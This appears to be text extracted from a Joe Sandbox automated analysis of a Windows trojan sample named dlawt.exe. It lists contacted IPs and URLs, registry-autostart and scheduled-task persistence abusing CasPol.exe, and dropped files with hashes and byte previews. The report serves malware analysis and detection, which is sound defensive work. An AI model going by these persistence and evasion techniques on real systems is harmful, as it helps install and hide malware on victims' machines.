2.00000000013D9000.00000004.00000020.000
20000.00000000.sdmp, CasPol.exe, 0000000
3.00000003.30020617540.000000000135F000.
00000004.00000020.00020000.00000000.sdmp

false high

https://doc-0g-38-
docs.googleusercontent.com/docs/securesc/ha0ro937
gcuc7l7deffksulhg5h7mbp1/7ccvegr5

CasPol.exe, 00000003.00000003.2976758871
2.00000000013E4000.00000004.00000020.000
20000.00000000.sdmp, CasPol.exe, 0000000
3.00000003.29761525520.00000000013D7000.
00000004.00000020.00020000.00000000.sdmp, 
CasPol.exe, 00000003.00000003.29761726
305.00000000013F0000.00000004.00000020.0
0020000.00000000.sdmp, CasPol.exe, 00000
003.00000003.30020297095.00000000013E200
0.00000004.00000020.00020000.00000000.sdmp, 
CasPol.exe, 00000003.00000003.30019510096.0000
00000137C000.00000004.00000020.00020000.
00000000.sdmp

false high

openoffice.org/2000/datastyle dlawt.exe, 00000001.00000003.29438167474
.000000000294B000.00000004.00000800.0002
0000.00000000.sdmp, idxcaption.xsl.1.dr

false high

mozilla.org/MPL/2.0/. dlawt.exe, 00000001.00000003.29438167474
.000000000294B000.00000004.00000800.0002
0000.00000000.sdmp, idxcaption.xsl.1.dr

false high

openoffice.org/2000/office dlawt.exe, 00000001.00000003.29438167474
.000000000294B000.00000004.00000800.0002
0000.00000000.sdmp, idxcaption.xsl.1.dr

false high

Name Source Malicious Antivirus Detection Reputation

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

World Map of Contacted IPs

Public IPs
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IP Domain Country Flag ASN ASN Name Malicious

137.63.71.51 unknown Seychelles 32489 AMANAHA-NEWCA true

142.250.186.174 drive.google.com United States 15169 GOOGLEUS false

142.250.186.97 googlehosted.l.googleuser
content.com

United States 15169 GOOGLEUS false

Joe Sandbox Version: 36.0.0 Rainbow Opal

Analysis ID: 711461

Start date and time: 2022-09-28 07:30:12 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 13m 38s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: dlawt.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe 
Reader DC 21, Java 8 Update 301

Run name: Suspected Instruction Hammering

Number of analysed new started processes 
analysed:

16

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal96.troj.evad.winEXE@16/36@2/3

EGA Information: Successful, ratio: 100%

HDC Information: Successful, ratio: 25.6% (good quality ratio 25.3%)
Quality average: 87.6%
Quality standard deviation: 21.2%

HCA Information: Successful, ratio: 99%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Found application associated with file extension: .exe

Exclude process from analysis (whitelisted): dllhost.exe, backgroundTaskHost.exe, svchost.exe
TCP Packets have been reduced to 100
Excluded domains from analysis (whitelisted): ecs.office.com, wdcpalt.microsoft.com, login.live.com, ctldl.windowsupdate.com, wdcp.microsoft.com
Not all processes where analyzed, report is missing behavior  information
Report size exceeded maximum capacity and may have missing b ehavior information.
Report size getting too big, t oo many NtAllocateVirtualMemory calls found.
Report size getting too big, t oo many NtDeviceIoControlFile calls found.
Report size getting too big, t oo many NtOpenKeyEx calls found.
Report size getting too big, t oo many NtProtectVirtualMemory calls found.
Report size getting too big, t oo many NtQueryValueKey calls found.

Time Type Description

07:32:40 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce Funklendes C:\Users\user\AppData\Local\T
emp\Overhumanise\Supplicatingly.exe

General Information

Warnings

Simulations

Behavior and APIs
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07:32:42 Task Scheduler Run new task: DSL Monitor path: "C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe" s>$(Arg0)

07:32:42 API Interceptor 4125x Sleep call for process: CasPol.exe modified

07:32:44 Task Scheduler Run new task: DSL Monitor Task path: "C:\Program Files (x86)\DSL Monitor\dslmon.exe" s>$(Arg0)

07:32:48 Autostart Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run DSL Monitor C:\Program Files (x86)\DSL Monit
or\dslmon.exe

07:32:56 Autostart Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce Funklendes C:\Users\user\AppData\Local
\Temp\Overhumanise\Supplicatingly.exe

Time Type Description

⊘ No context

⊘ No context

⊘ No context

⊘ No context

⊘ No context

Process: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File Type: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 106496

Entropy (8bit): 4.9674574626610895

Encrypted: false

SSDEEP: 1536:6Mnt+J23KumyB/VWHsJwcabSMH2Bcj9uzhZvsWgk:6EtE23K8TWHsJra+MH2ajszhZvxgk

MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD

SHA1: 79129AF7EFA46244DA0676607242F0A6B7E12E78

SHA-256: 6CEAEBD55B4A542EF64BE1D6971FCFE802E67E2027366C52FAACC8A8D325EC7A

SHA-512: C599B72500A5C17CD5C4A81FCF220A95925AA0E5AD72AA92DD1A469FE6E3C23590C548A0BE7EC2C4DBD737511A0A79C1C46436867CF7F0C4DF21F8DCEA9686
CF

Malicious: false

Antivirus: Antivirus: ReversingLabs, Detection: 0%
Antivirus: Virustotal, Detection: 1%, Browse
Antivirus: Metadefender, Detection: 0%, Browse

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......].................p... ........... ........@.. ...............................C..
..@.................................P...K................................................................................... ............... ..H............text....j... ...p.................. ..`.rsrc...............................@..@.reloc.........
.....................@..B...........................................................................................................................................................................................................................................
.............................................................................................................................................................................................................................................................................

Process: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\DSL Monitor\dslmon.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\caspol.exe.log
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File Type: ASCII text, with CRLF line terminators

Category: modified

Size (bytes): 20

Entropy (8bit): 3.6841837197791887

Encrypted: false

SSDEEP: 3:QHXMKas:Q3Las

MD5: B3AC9D09E3A47D5FD00C37E075A70ECB

SHA1: AD14E6D0E07B00BD10D77A06D68841B20675680B

SHA-256: 7A23C6E7CCD8811ECDF038D3A89D5C7D68ED37324BAE2D4954125D9128FA9432

SHA-512: 09B609EE1061205AA45B3C954EFC6C1A03C8FD6B3011FF88CF2C060E19B1D7FD51EE0CB9D02A39310125F3A66AA0146261BDEE3D804F472034DF711BC942E31
6

Malicious: false

Preview: 1,"fusion","GAC",0..

Process: C:\Program Files (x86)\DSL Monitor\dslmon.exe

File Type: ASCII text, with CRLF line terminators

Category: modified

Size (bytes): 20

Entropy (8bit): 3.6841837197791887

Encrypted: false

SSDEEP: 3:QHXMKas:Q3Las

MD5: B3AC9D09E3A47D5FD00C37E075A70ECB

SHA1: AD14E6D0E07B00BD10D77A06D68841B20675680B

SHA-256: 7A23C6E7CCD8811ECDF038D3A89D5C7D68ED37324BAE2D4954125D9128FA9432

SHA-512: 09B609EE1061205AA45B3C954EFC6C1A03C8FD6B3011FF88CF2C060E19B1D7FD51EE0CB9D02A39310125F3A66AA0146261BDEE3D804F472034DF711BC942E31
6

Malicious: false

Preview: 1,"fusion","GAC",0..

Process: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File Type: data

Category: dropped

Size (bytes): 282224

Entropy (8bit): 6.702918344042925

Encrypted: false

SSDEEP: 6144:1RlWobsEnfENQ+8m9+ubxlL5Y9CwTfFQ9:PX8NQ+8m9+ubxmRW9

MD5: 513B092458E18C72D1847E8BF7C04B0D

SHA1: 6FFD43936CD2DC867A514CB14C093300EBD19E75

SHA-256: 3F5C7B3C606717456E2F340F5293D1FDAED2831A041FB4B748E68CA0174333CD

SHA-512: 31A912037749F1C094643B0C093A73A1D7526DE8E9C2B50A6D8E0A7B47023780CD9D49C31222BF15326CAED657D185D7C9D68E1AF5769B5F25FF644E30AB34C7

Malicious: false

Preview: .Z......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf.sV..Pf..V`..Pf.Rich.Pf..........
...............PE..L.....oZ.................d...*......Y3............@.......................... ............@.........................................................(0..H..............................................................................
..............text....b.......d.................. ..`.rdata...............h..............@..@.data................|..............@....ndata...................................rsrc...............................@..@...........................
..............................................................................................................................................................................................................................................................................
.......................................

Process: C:\Users\user\Desktop\dlawt.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 11776

Entropy (8bit): 5.890541747176257

Encrypted: false

SSDEEP: 192:X24sihno0bW+l97H4GB7QDs91kMtwtobTr4u+QHbazMNHT7dmNIEr:m8vJl97JeoxtN/r3z7YV

MD5: 75ED96254FBF894E42058062B4B4F0D1

SHA1: 996503F1383B49021EB3427BC28D13B5BBD11977

SHA-256: A632D74332B3F08F834C732A103DAFEB09A540823A2217CA7F49159755E8F1D7

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\dslmon.exe.log

C:\Users\user\AppData\Local\Temp\Overhumanise\Supplicatingly.exe

C:\Users\user\AppData\Local\Temp\nsb1C0A.tmp\System.dll
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SHA-512: 58174896DB81D481947B8745DAFE3A02C150F3938BB4543256E8CCE1145154E016D481DF9FE68DAC6D48407C62CBE20753320EBD5FE5E84806D07CE78E0EB0C4

Malicious: false

Antivirus: Antivirus: ReversingLabs, Detection: 2%
Antivirus: Virustotal, Detection: 1%, Browse
Antivirus: Metadefender, Detection: 4%, Browse

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr*.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.
D.Rich5.D.........PE..L.....oZ...........!..... ...........).......0...............................`............@..........................2.......0..P............................P.......................................................0..X.
...........................text............ .................. ..`.rdata..c....0.......$..............@..@.data...x....@.......(..............@....reloc..~....P.......*..............@..B............................................
..............................................................................................................................................................................................................................................................................
......................................................................

Process: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File Type: XML 1.0 document, ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1319

Entropy (8bit): 5.131285242271578

Encrypted: false

SSDEEP: 24:2dH4+S/4oL600QlMhEMjn5pwjVLUYODOLG9RJh7h8gK0mnJxtn:cbk4oL600QydbQxIYODOLedq3ZJj

MD5: 497F298FC157762F192A7C42854C6FB6

SHA1: 04BEC630F5CC64EA17C0E3E780B3CCF15A35C6E0

SHA-256: 3462CBE62FBB64FC53A0FCF97E43BAAFE9DD9929204F586A86AFE4B89D8048A6

SHA-512: C7C6FD3097F4D1CCD313160FEDF7CB031644E0836B8C3E25481095E5F4B003759BC84FC6EA9421E3A090E66DC2FF875FEC2F394A386691AB178CB164733411B2

Malicious: true

Preview: <?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">..  <RegistrationInfo />..  <Triggers />..  
<Principals>..    <Principal id="Author">..      <LogonType>InteractiveToken</LogonType>..      <RunLevel>HighestAvailable</RunLevel>..    </Principal>..  </Princi
pals>..  <Settings>..    <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>..    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>..    <StopIfGoing
OnBatteries>false</StopIfGoingOnBatteries>..    <AllowHardTerminate>true</AllowHardTerminate>..    <StartWhenAvailable>false</StartWhenAvailable>..    <RunOnlyI
fNetworkAvailable>false</RunOnlyIfNetworkAvailable>..    <IdleSettings>..      <StopOnIdleEnd>false</StopOnIdleEnd>..      <RestartOnIdle>false</RestartOnIdle>..    
</IdleSettings>..    <AllowStartOnDemand>true</AllowStartOnDemand>..    <Enabled>true</Enabled>..    <Hidden>false</Hidden>..    <RunOnlyIfIdle>false</RunO
nlyIfIdle>..    <Wak

Process: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File Type: XML 1.0 document, ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1308

Entropy (8bit): 5.102127682411616

Encrypted: false

SSDEEP: 24:2dH4+S/4oL600QlMhEMjn5pwjVLUYODOLG9RJh7h8gK0Rhxtn:cbk4oL600QydbQxIYODOLedq3Shj

MD5: EEEEC12536233E9353F6F2AA14EAA5D8

SHA1: 61FEFDC5646ED69DF8D1CC2E24F8D5409AE90DA9

SHA-256: 922551F7DCDA34B377E984CCDCC0F97BC4524599CAF715A2ACE06DB37923B5F3

SHA-512: 944143921D0FD1A6C1A0FDA8163D4B311BA38E7ED2726A605F147C08D40578C47E5EC147A17458823C7A61B820950A906E31A383F87AEAE67D603260914FE392

Malicious: false

Preview: <?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">..  <RegistrationInfo />..  <Triggers />..  
<Principals>..    <Principal id="Author">..      <LogonType>InteractiveToken</LogonType>..      <RunLevel>HighestAvailable</RunLevel>..    </Principal>..  </Princi
pals>..  <Settings>..    <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>..    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>..    <StopIfGoing
OnBatteries>false</StopIfGoingOnBatteries>..    <AllowHardTerminate>true</AllowHardTerminate>..    <StartWhenAvailable>false</StartWhenAvailable>..    <RunOnlyI
fNetworkAvailable>false</RunOnlyIfNetworkAvailable>..    <IdleSettings>..      <StopOnIdleEnd>false</StopOnIdleEnd>..      <RestartOnIdle>false</RestartOnIdle>..    
</IdleSettings>..    <AllowStartOnDemand>true</AllowStartOnDemand>..    <Enabled>true</Enabled>..    <Hidden>false</Hidden>..    <RunOnlyIfIdle>false</RunO
nlyIfIdle>..    <Wak

Process: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File Type: data

Category: dropped

Size (bytes): 248

Entropy (8bit): 7.094528505897445

Encrypted: false

SSDEEP: 6:X4LDAnybgCFcpJSQwP4d7r3l3TmKEt5mT1DhFtMhXvvHOxHB3GDq:X4LEnybgCFCtvd7bl3ThE4T19FtMhXvs

MD5: 061E700FE27D852034A5A44BF5985CCF

SHA1: 15B072DE6D6FDD92AE36F074345FA41985833E8D

SHA-256: 4BBB88AF530693EB4A710B0591D4BAF585837242C5690F5A821BF2FC9CC587CD

C:\Users\user\AppData\Local\Temp\tmp7A08.tmp

C:\Users\user\AppData\Local\Temp\tmp7C99.tmp

C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\catalog.dat
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https://www.virustotal.com/gui/file/a632d74332b3f08f834c732a103dafeb09a540823a2217ca7f49159755e8f1d7/detection/f-a632d74332b3f08f834c732a103dafeb09a540823a2217ca7f49159755e8f1d7-1664342903
https://www.metadefender.com/#!/results/file/YnpJeU1Ea3lNVXByWm01Q2FtMU5WZ1Rsd0Myc1dwMU8/regular/analysis


SHA-512: CF6C5458AB50C859740490985D1E7E887D1116F3FA947FF2EC49AF9997A42F3402C63EF42B93498544195D9859FBB19CCC295966564B30F5ADB4A36D4E8886C6

Malicious: false

Preview: Gj.h\.3.A...5.x..&...i+..c(1.P..P.cLT...A.b........4h...t.+..Z\.. .i.....@.3..{...grv+V...B.......].P...W.4C}uL....f.Z#.|...@HkG....G..O*V..........pz...."....r...w&&|..c..3}~.....~...os..f.......4..1
.gJ.'.d".L...A.t...F.{....C.|&.w

Process: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File Type: ISO-8859 text, with no line terminators, with escape sequences

Category: dropped

Size (bytes): 8

Entropy (8bit): 3.0

Encrypted: false

SSDEEP: 3:9q:9q

MD5: 3271BBBA361F0B702E89DA2E496BF8E7

SHA1: 461E5EB80E226485FC4643BA20B294A56783A4E6

SHA-256: 285AD017A0CE85E11BB59E433FE4C6FC8FA7796C6D147A9E62DD2F753C6E5847

SHA-512: 9758B187EEAC42223AB330385BA7372235E560013133E936E691DE326A8ACF837DD5880C56D80A03D9FAC5DCC58FB9B5AC680FE579D07543A0DF995576F5EDB
3

Malicious: true

Preview: @..>...H

Process: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 56

Entropy (8bit): 4.745141646068962

Encrypted: false

SSDEEP: 3:oMty8WbSmm:oMLWumm

MD5: F781103B538E4159A8F01E3BE09B1F8D

SHA1: 27992585DE22A095BABCFD75E8F96710DD921C37

SHA-256: BEA91983791C26C19AA411B2870E89AFC250EAF9855B6E1CE7BEA02B74E7F368

SHA-512: D50AE0A01E74FC263B704FADE17CDF4993B61E34FD498827D546F090CE2DA5E8F24D4D34FBF360AE7EE5C5E7E3F032F3DDA8AD0C2A2CF0E1DAFEED61258A
B4CA

Malicious: false

Preview: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe

Process: C:\Users\user\Desktop\dlawt.exe

File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 544

Entropy (8bit): 4.840636545565347

Encrypted: false

SSDEEP: 12:t4CDqsLWbjUzkTWem7+0qoLIGYJJufPm3ioprGDRl+i:t4CdLWbjUgSl8sfPAnrGDRlN

MD5: 6CD1ED8B1D8500C9A1480425DA4282D6

SHA1: F1B935DD259BCD198784C1C2FA6516230624C43B

SHA-256: FAD0ECD186B6DEC11FBB094876E7381B2A097E1EF9D641527E3295132410EF44

SHA-512: 6BC432608A3630136E2E8E44F69A81B9C5F9FE479DA5DD3E35A77168A66F3C41D72DC0E49FB623E74B9527CF031FBBBE447213CE4C0FDFDA4A9AB4104399770
1

Malicious: false

Preview: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"><path d="M2.063 0A2.048 2.048 0 000 2.063v11.874C0 15.088.912 16 2.063 16h11.874A2.048 2.048 
0 0016 13.937V2.063A2.048 2.048 0 0013.937 0zM2 3h2v4h1V3h2v10H5V9H4c-1 0-2-.842-2-2zm8 0h2c.833 0 1.525.564 1.77 1.053.244.488.23.947.23.947v1h-2V5h-
2v6h2V9h-1V7h3v4s.014.459-.23.947C13.525 12.436 12.833 13 12 13h-2s-.459.014-.947-.23C8.564 12.525 8 11.833 8 11V5s-.014-.459.23-.947C8.475 3.564 9.167 3 
10 3z" style="marker:none" color="#bebebe" overflow="visible" fill="#2e3436"/></svg>

Process: C:\Users\user\Desktop\dlawt.exe

File Type: XML 1.0 document, UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators

C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\run.dat

C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\task.dat

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Algae62\plkkers\Reputation\network-cellular-4g-

symbolic.svg

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Arbejdskraftproblemer\CoverEdCtrl.manifest
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Category: dropped

Size (bytes): 983

Entropy (8bit): 5.440797719362896

Encrypted: false

SSDEEP: 24:Jdt4VIWcqHQe22Hs7uYwL1z7m91q7LY7o94Iqw1q769C77o94Iqn+:3SIJeRXm9vowwXC/own+

MD5: E70ABF046645F771B84F377FE86C6150

SHA1: D05C4926656D80C1E3E34441BB1AAD6531FF3949

SHA-256: E0257221F542666CFBCF5E9B9F0BF43A86BFBF363682586FF18AB77C2A76D4C4

SHA-512: 34501A7A7F14EF655817439CD5F8F1EB8A00A9057F5423B516D21205BFC6C5120208C19710A973FAEE4AE65454EAF0099870734F0F02AC1D54991DF5BFD0C005

Malicious: false

Preview: .<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity n
ame="CoverEdCtrl" version="1.4.0.0"></assemblyIdentity><file name="CoverEdCtrl.ocx" hashalg="SHA1"><comClass clsid="{2C28E255-B7C9-4C5E-A66C-EFCB7F856
1F0}" tlbid="{E9D0A918-D3A4-4E3D-9DFE-15BC69230416}" description="CoverEdCtrl Control"></comClass><typelib tlbid="{E9D0A918-D3A4-4E3D-9DFE-1
5BC69230416}" version="1.4" helpdir=""></typelib></file><comInterfaceExternalProxyStub name="_DCoverEdCtrl" iid="{7EDE47CE-3AA8-44B9-BF34-1B593C1C8783}" 
tlbid="{E9D0A918-D3A4-4E3D-9DFE-15BC69230416}" proxyStubClsid32="{00020420-0000-0000-C000-000000000046}"></comInterfaceExternalProxyStub><comInterf
aceExternalProxyStub name="_DCoverEdCtrlEvents" iid="{1E2C8B29-7C8B-42A9-B9C8-5C0B908CB286}" tlbid="{E9D0A918-D3A4-4E3D-9DFE-15BC69230416}" 
proxyStubClsid32="{00020420-0000-0000-C000-000000000046}"></comInterfaceExternalProxyStub></assembly>

Process: C:\Users\user\Desktop\dlawt.exe

File Type: PC bitmap, Windows 3.x format, 72 x 399 x 24

Category: dropped

Size (bytes): 86238

Entropy (8bit): 6.474378163731263

Encrypted: false

SSDEEP: 1536:HZsCm1/4YEWvb8KSlLJY9xgt0AES8FBgih+RgS2xdW:+Cm1/VEQ8JmxgOAEfEJ6JQ

MD5: E74DE44364D6E680988FCDC9330819C6

SHA1: 83F2BE7EC78921A46367208266BE672E013699A6

SHA-256: 59713500232DE1455422E70BD5D77EC4DAFF2985A76A374DD60865A35F4C29BD

SHA-512: 909BD87C6EB242BAD068D7885169F614FC6CA9EC96C4A4801D806CE480CA7EA1883B6EBDFE0A75C9807FADE0021B24BC5529B6607C17C53084BA9FBA931F9B
96

Malicious: false

Preview: BM.P......6...(...H................P............................a|.,l...@..Y.\0.o........4pI..)..2lMm..84%<........p....+.'!?..*7... dO.C........3.Q.K........qc.J.z....aMJ&.A.{...Qa...ItM.u.N....P[...5wh.
{.y.)>....&C..K]...Mo.t.2....Z...$}.:+,/..mx4w.....K..M..c.Q.hVL.....Pg5.T.u.I..n.....6(D..........#..c..d}{.I...]..)|^..t/.5.....c..o...v....;....-......J].,.9.W.l.4;. gdw+.].....F..~....B..c.A.._../..<..1
.6..Bk.a>...D.x.1.*..u...b1......L.........._ ......K...ET.R...q.s.!...(/..i8/....WH....b....(6.J.O..........3_...'.>!.0..,n.W...fg..W.b.+V..R}b.Y..F......gQ.V..A...:....{<.bKI./..~G...a..7.
?..?.9m=k..K9Gt...]f..H.... ..(../...:E..+.6R;.:......pk.....e.G.%.8..\..U..*a]p...Z.`....J..{%.G!..[x..x....?q.E..\..?....\..5.._t27Q$(.{..m...j.:h..}..b.Q........M.I....Bue.7.A]G-.f..e..B .&...4..-p
..p....a.5...9...+.H.,...~..>...y[.:.8................~k...B.S.t."......6.+....,.B..lY..&~..{.?.'.C8..k ....MM.......N/...Q..~..qV]......2......k.2..v<.+JA...c.n...f

Process: C:\Users\user\Desktop\dlawt.exe

File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 1364

Entropy (8bit): 4.826941536649534

Encrypted: false

SSDEEP: 24:t4Cf9xjMJtMCl/HBa2XtRYXI5hHTIPKeTyH2ISNdIIqqVVYSNeISNkN4AeWlGMyf:lPY/b7D5JFSs1SFSON4Ae3MQRf

MD5: 896D9A7F865BFDDFA0442C0B44E73F23

SHA1: 6CB83C54EAADE1209F9877065C767BF1DC90B8A1

SHA-256: 85500E1D92C70F203CCA0945D774CD35848120DB46C553ECF3F3D3858DDC2494

SHA-512: E921924AE3041757A240CCE91E2C4455F043D9AB330B8FA8EABA21E4494427D25BE25D7CE8A6313DEE711F743EBAA0AC678D317F7AD83E0F092901D304D5EC
D2

Malicious: false

Preview: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"><defs><clipPath id="a"><path d="M-73-30l-7-7v-4.5h16.5v4.5l-7.5 7z" fill="none" stroke="#000"/></
clipPath></defs><g fill="#474747"><path clip-path="url(#a)" d="M-72-38v1h1v-.969A12.13 12.13 0 00-72-38zm1 1v1h1v-1zm1 0h1v-.594a9.508 9.508 0 00-1-.218zm1 
0v1h1v-1zm1 0h.5c-.165-.084-.327-.145-.5-.219zm0 1v1h1v-1zm1 0h1v1h1a7.865 7.865 0 00-2-1.719zm2 1v1h-1v1h-1v1h-1v1h-1v1h-1v-1h-1v1h-1v-1h-1v1h-1v-1h-1v-
1h-1v-1h-1v-1h-1v-1h-.563c-1.565 1.851-.437 4.376-.437 7 0 5.215 1.39 6 7 6s7-.784 7-6c0-2.374 1.296-5.441 0-7zm-13 0h1v-1h-.563c-.144.124-.3.242-.437.375zm1-
1h1v-1h-.063a8.017 8.017 0 00-.937.563zm1-1h1v-.5c-.346.125-.68.303-1 .469zm1 0v1h1v-1zm1 0h1v-.938a8.79 8.79 0 00-1 .157zm1 0v1h1v-1zm1 1v1h1v-1zm1 1v1h
1v-1zm1 0h1v-1h-1zm1 0v1h1v-1zm1 1v1h1v-1zm1 0h1v-1h-1zm-1 1h-1v1h1zm-1 1h-1v1h1zm-1 0v-1h-1v1zm-1 0h-1v1h1zm-1 0v-1h-1v1zm-1 0h-1v1h1zm-1 0v-1h-
1v1zm-1-1v-1h-1v1zm-1-1v-1h-1v1zm0-1h1v-1h-1zm1 0v1h1v-1zm1 0h1v-1h-1zm1 0v

Process: C:\Users\user\Desktop\dlawt.exe

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Arbejdskraftproblemer\Lakridset.bmp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Bacin\Besjlings\network-wireless-connected-sy

mbolic.svg

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Baggesen\audio-x-generic-symbolic.symbolic.pn

g
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File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 195

Entropy (8bit): 6.350068028436895

Encrypted: false

SSDEEP: 3:yionv//thPl9vt3lAnsrtxBll/0xEq2j5+j61kca4OSpTC7qtl2BeKlirjjBbEqY:6v/lhPysSEq2sca4OKocrSVp

MD5: 79B7B2040BFDFF36BEC2D20F727DFC7E

SHA1: C31B14267B8B5DADC7151D82E8378D2CC5CB653A

SHA-256: 6B0807769D18D56DCC9AB666FC8A6F7160E9707C3BC02545EABDF16C5D4029B8

SHA-512: 6E042161CF966ABB32840AD937F257CB893D513EC0E2CE663BCAB9A02B9639F8B38F359FF3C8EEDA522D76DB7F60C1068303FC66FE17742660D7E6D9C892DF2
6

Malicious: false

Preview: .PNG........IHDR................a....sBIT....|.d....zIDAT8......0....W.t.....O>.....A.et.P.@(.O.&.26+....Mm..6.....g..'L.f...RrY.......G.op...sF....>c....u.0......>^nyD;A......IEND.B`.

Process: C:\Users\user\Desktop\dlawt.exe

File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 998

Entropy (8bit): 5.1868425916607555

Encrypted: false

SSDEEP: 12:t4CP5GD09xmuPHoJdRnZopTi3b1USS0LLcXNo3F3iCydrkeYRAerAFFLAmP502Kp:t4CBGD0KvRW+Li+3FLyKbRAecFxV0/YK

MD5: 790B7AEF699FC380D50CFB583F09EF44

SHA1: E8F31F4CC603DF24FF456271E8BEFEE8FBC588D6

SHA-256: CD34406714AA8018144064852CE932016BE8FE06F1F0CEA06060B95F8E8E6D8E

SHA-512: C5674F4F9AE8D78AE0E239E7AE0FD156B75D21CA9D2216D2B851D3BCA8239CFD62414C2165A3BFEC71F997D9AFD08EC821D8233A745BBD756E0F908F830566
B8

Malicious: false

Preview: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"><g color="#bebebe" fill="#474747"><path d="M3 7h10c.554 0 1 .446 1 1v3c0 .554-.446 1-1 1H3c-.554 
0-1-.446-1-1V8c0-.554.446-1 1-1z" style="marker:none" overflow="visible"/><path d="M7 1s-.709-.014-1.447.355C4.814 1.725 4 2.667 4 4v4h2V4c0-.667.186-.725.447-.
855C6.71 3.014 7 3 7 3h2s.291.014.553.145c.261.13.447.188.447.855v4h2V4c0-1.333-.814-2.275-1.553-2.645C9.71.986 9 1 9 1z" style="line-height:normal;font-variant-
ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-inden
t:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;shape-padding:0;isolation
:auto;mix-blend-mode:normal;marker:none" font-weight="400" font-family="sans-serif" overflow="visible"/><path d="M2 10h12v4H2z" style="marker:none" overflow="vi
sible"/></g></svg>

Process: C:\Users\user\Desktop\dlawt.exe

File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 1626

Entropy (8bit): 5.0762260088454605

Encrypted: false

SSDEEP: 24:t4Cpl+6kKDPeexH0BqyKbRAecFxMGMZLxdOUyKbRAecFxMGM+pMc:V7lH0BqNtAecFJM3fNtAecFJMu

MD5: 1A31C93C41C667E8802FCC6B0DB782D3

SHA1: 8436084E01D6B5D996A54D00E8AE95196865B928

SHA-256: BA163884E8DBD085280F6D4FEF52AAB07A10CDC540E657B5AD16D9773FD31BBD

SHA-512: 7BCC9B6D0D3EE6D79A2AF8CCFA8734DF4AF5BCA6079110FA3B65FF10024A4F75C2BBCEF106086E36E4B3D293648EE4FBB23C4C49EA8EEBDBC84854DFCB4F
F5EB

Malicious: false

